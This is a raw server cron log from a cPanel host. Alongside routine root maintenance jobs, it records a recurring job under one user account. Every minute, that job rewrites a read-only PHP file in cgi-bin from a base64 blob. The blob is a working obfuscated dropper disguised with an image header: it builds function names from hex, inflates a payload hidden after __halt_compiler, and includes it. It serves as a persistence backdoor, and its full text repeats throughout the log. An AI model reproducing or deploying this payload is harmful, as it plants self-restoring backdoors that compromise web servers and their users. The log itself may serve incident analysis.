Sep  9 14:38:01 server CROND[19000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:38:01 server CROND[19001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:39:01 server CROND[19381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:39:01 server CROND[19383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:39:01 server CROND[19384]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 14:39:01 server CROND[19382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:40:01 server CROND[19880]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:40:01 server CROND[19885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:40:01 server CROND[19890]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:40:01 server CROND[19891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:40:01 server CROND[19895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:40:01 server CROND[19896]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:40:01 server CROND[19894]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:40:01 server CROND[19893]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:41:01 server CROND[20700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:41:01 server CROND[20701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:41:01 server CROND[20703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:42:01 server CROND[21164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:42:01 server CROND[21165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:42:01 server CROND[21166]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:42:01 server CROND[21167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:43:01 server CROND[21587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:43:01 server CROND[21588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:43:01 server CROND[21589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:44:01 server CROND[21958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:44:01 server CROND[21959]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:44:01 server CROND[21960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:45:01 server CROND[22335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:45:01 server CROND[22337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:45:01 server CROND[22336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:45:01 server CROND[22342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:45:01 server CROND[22343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:45:01 server CROND[22340]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:45:01 server CROND[22341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:46:01 server CROND[23317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:46:01 server CROND[23316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:46:01 server CROND[23318]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:47:01 server CROND[23787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:47:01 server CROND[23786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:47:01 server CROND[23788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:48:01 server CROND[24171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:48:01 server CROND[24172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:48:01 server CROND[24173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:49:01 server CROND[24542]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:49:01 server CROND[24543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:49:01 server CROND[24544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:50:01 server CROND[24921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:50:01 server CROND[24924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:50:01 server CROND[24925]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:50:01 server CROND[24928]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:50:01 server CROND[24930]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
